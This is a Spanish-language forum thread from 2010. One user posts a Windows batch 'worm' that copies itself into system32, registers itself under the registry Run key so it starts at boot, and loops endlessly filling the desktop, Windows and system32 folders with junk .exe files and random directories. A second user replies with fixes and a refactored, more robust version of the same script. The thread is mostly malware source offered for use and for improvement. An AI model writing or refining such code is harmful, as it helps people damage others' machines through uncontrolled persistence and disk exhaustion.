Gusano en Batch! (Codigo hecho)

Iniciado por richi_clarinet, 7 Septiembre 2010, 21:40 PM

0 Miembros y 1 Visitante están viendo este tema.

richi_clarinet

Hola amigos soy nuevo en esto pero he creado un GUSANO que lo que hace es que se queda en la memoria y va duplicandose infinitas veces

PD: se inicia cada vez que se inicia el sistema

Si hay algun error estare encantado en que lo digais


Saludos!!!! ;-)
Aqui esta el codigo:


Código (dos) [Seleccionar]
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
cd \
cd windows
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
cd system32
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
echo worm >> %random%.exe
goto worm

kj_


Errores:

si el .bat es ejecutado en un disco que no sea el "C" o donde esté instalado el S.O., estas líneas daría error:

Citarcd %homepatch%
cd escritorio
cd windows
cd system32

para eso, en lugar de "cd\", te recomiendo que coloques:

cd /d %systemdrive%

y por si acaso en lugar de "cd windows", es mejor colocar:

cd %windir%

también puede que el windows no esté en español así que esta linea:

Citarcd escritorio

se cambiaría por esta:

cd escritorio || cd desktop

puedes osar for para ahorrate code y también puede usar call y una etiqueta con el mismo objetivo.

tu code quedaría algo así:

Código (dos) [Seleccionar]
@echo off
setlocal enabledelayedexpansion
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd /d %systemdrive%
cd %homepatch%
cd escritorio || cd desktop
call :mfl
cd /d %systemdrive%
cd %windir%
call :mdir
call :mfl
cd system32
call :mdir
call :mfl
goto worm

:mdir
for /l %%d in (1,1,11) do (mkdir !random!)
goto:eof

:mfl
for /l %%d in (1,1,11) do (echo worm >> !random!.exe)
goto:eof


a ver si no me equivoqué yo xD.

kj